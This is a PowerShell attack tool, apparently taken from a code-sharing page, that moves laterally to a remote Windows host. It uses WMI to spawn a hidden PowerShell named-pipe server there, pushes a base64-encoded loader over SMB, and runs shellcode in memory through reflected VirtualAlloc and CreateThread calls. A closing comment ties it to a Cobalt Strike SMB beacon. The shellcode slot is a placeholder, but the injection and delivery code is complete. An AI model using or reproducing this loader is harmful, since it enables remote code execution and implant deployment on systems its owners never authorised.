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function Invoke-SMBShellcodeLoad { | |
<# | |
.SYNOPSIS | |
Short description | |
.DESCRIPTION | |
Long description | |
.EXAMPLE | |
An example | |
.NOTES | |
General notes | |
#> | |
[CmdletBinding()] | |
param | |
( | |
[parameter(Mandatory=$false)] | |
[ValidateNotNullOrEmpty()] | |
[string]$PipeName, | |
[parameter(Mandatory=$true, ValueFromPipeline=$true)] | |
[ValidateNotNullOrEmpty()] | |
[string]$ComputerName, | |
[parameter(Mandatory=$false, ParameterSetName = "Credentials")] | |
[ValidateNotNullOrEmpty()] | |
[string]$UserName, | |
[parameter(Mandatory=$false, ParameterSetName = "Credentials")] | |
[ValidateNotNullOrEmpty()] | |
[string]$Pass | |
) | |
$commonArgs = @{} | |
$commonArgs['ComputerName'] = $ComputerName | |
if ($PSCmdlet.ParameterSetName -eq "Credentials") { | |
Write-Verbose "[+] Credentials used, creating PSCredential" | |
$secPassword = $Pass | ConvertTo-SecureString -AsPlainText -Force | |
$credential = New-Object System.Management.Automation.PSCredential -ArgumentList $UserName,$secPassword | |
$commonArgs['Credential'] = $credential | |
} | |
<#if (-not $PSBoundParameters['shellcode']) { | |
Write-Verbose "[+] Shellcode parameter not used, using embedded payload" | |
$shellcode = $inlinesc | |
} #> | |
#$encSC = [Convert]::ToBase64String($shellcode) | |
#Shellcode loader scriptblock | |
$shellcodeLoader = { | |
$DoIt = @' | |
Function Get-DelegateType | |
{ | |
Param | |
( | |
[OutputType([Type])] | |
[Parameter( Position = 0)] | |
[Type[]] | |
$Parameters = (New-Object Type[](0)), | |
[Parameter( Position = 1 )] | |
[Type] | |
$ReturnType = [Void] | |
) | |
$Domain = [AppDomain]::CurrentDomain | |
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') | |
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) | |
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) | |
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) | |
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) | |
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed') | |
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) | |
$MethodBuilder.SetImplementationFlags('Runtime, Managed') | |
Write-Output $TypeBuilder.CreateType() | |
} | |
$base64payload = 'ENCODED x86 SC here' | |
$code = [Convert]::FromBase64String($base64payload) | |
$SystemAssembly = [Uri].Assembly | |
$mscorlibAssembly = [object].Assembly | |
$WindowsBase = [System.Reflection.Assembly]::LoadWithPartialName('WindowsBase') | |
$UnsafeNativeMethods = $WindowsBase.GetType('MS.Win32.UnsafeNativeMethods') | |
$Win32UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') | |
$MicrosoftWin32Native = $mscorlibAssembly.GetType('Microsoft.Win32.Win32Native') | |
$SafeWaitHandle = [Microsoft.Win32.SafeHandles.SafeWaitHandle] | |
$GetProcAddress = $MicrosoftWin32Native.GetMethod('GetProcAddress', [System.Reflection.BindingFlags]'NonPublic, Static') | |
$kernel32Handle = $Win32UnsafeNativeMethods::GetModuleHandle("Kernel32.dll") | |
$CreateThreadDelegateType = Get-DelegateType @([Uint32], [Uint32], [IntPtr], [IntPtr], [Uint32], [IntPtr]) ([IntPtr]) | |
$CreateThreadAddr = $GetProcAddress.Invoke($null, @($kernel32Handle, "CreateThread")) | |
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegateType) | |
$VirtualAlloc = $UnsafeNativeMethods.GetMethod('VirtualAlloc', [System.Reflection.BindingFlags]'NonPublic, Static') | |
#allocate memory | |
$dwSize = New-Object System.UIntPtr $($code.Length + 1) | |
$address = $VirtualAlloc.Invoke($null, @([IntPtr]::Zero, [UIntPtr]$dwSize, (0x1000 -bor 0x2000), 0x40)) | |
#copy code | |
[System.Runtime.InteropServices.Marshal]::Copy($code, 0, $address, $code.Length) | |
#CreateThread | |
$threadPtr = $CreateThread.Invoke(0, 0, $address, [IntPtr]::Zero, 0, [IntPtr]::Zero) | |
#WaitForSingleObject | |
$handle = $SafeWaitHandle::new($threadPtr, $true) | |
$null = $UnsafeNativeMethods::WaitForSingleObject($handle, 0xFFFFFFFF) | |
'@ | |
if ([IntPtr]::Size -eq 8) { | |
Start-Job { param($a) Invoke-Expression $a } -RunAs32 -Argument $DoIt | Wait-Job | Receive-Job | |
} | |
else { | |
Invoke-Expression $DoIt | |
} | |
} | |
$temp = [System.Text.Encoding]::UTF8.GetBytes($shellcodeLoader) | |
$B64InjectBlock = [System.Convert]::ToBase64String($temp) | |
$cmd = "powershell -w 1 -c `"`$null=[reflection.Assembly]::LoadWithPartialName('system.core');`$p=new-object System.IO.Pipes.NamedPipeServerStream('\\.\$PipeName');`$p.WaitForConnection();`$c=(new-object System.IO.StreamReader(`$p)).ReadToEnd();`$p.Dispose();`$runner = ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$c))); `$runner | Invoke-Expression;`"" | |
$wmiMethodArgs = @{ | |
Namespace = 'root\cimv2' | |
Class = 'Win32_Process' | |
Name = 'Create' | |
ArgumentList = $cmd | |
} | |
Write-Verbose "[+] Attempting to start Named Pipe server on $ComputerName" | |
try { | |
Invoke-WmiMethod @wmiMethodArgs @commonArgs | |
} | |
catch { | |
$_ | |
break | |
} | |
Start-Sleep -Seconds 10 | |
Write-Verbose "[+] Connecting to named pipe server on $ComputerName" | |
$pipe = new-object System.IO.Pipes.NamedPipeClientStream($ComputerName, $PipeName) | |
$pipe.Connect() | |
$sw = new-object System.IO.StreamWriter($pipe) | |
Write-Verbose "[+] Sending PowerShell payload to $ComputerName" | |
$sw.WriteLine($B64InjectBlock) | |
$sw.Dispose(); | |
$pipe.Dispose(); | |
} | |
#Drop your sc byte array here for CS smb beacon. |
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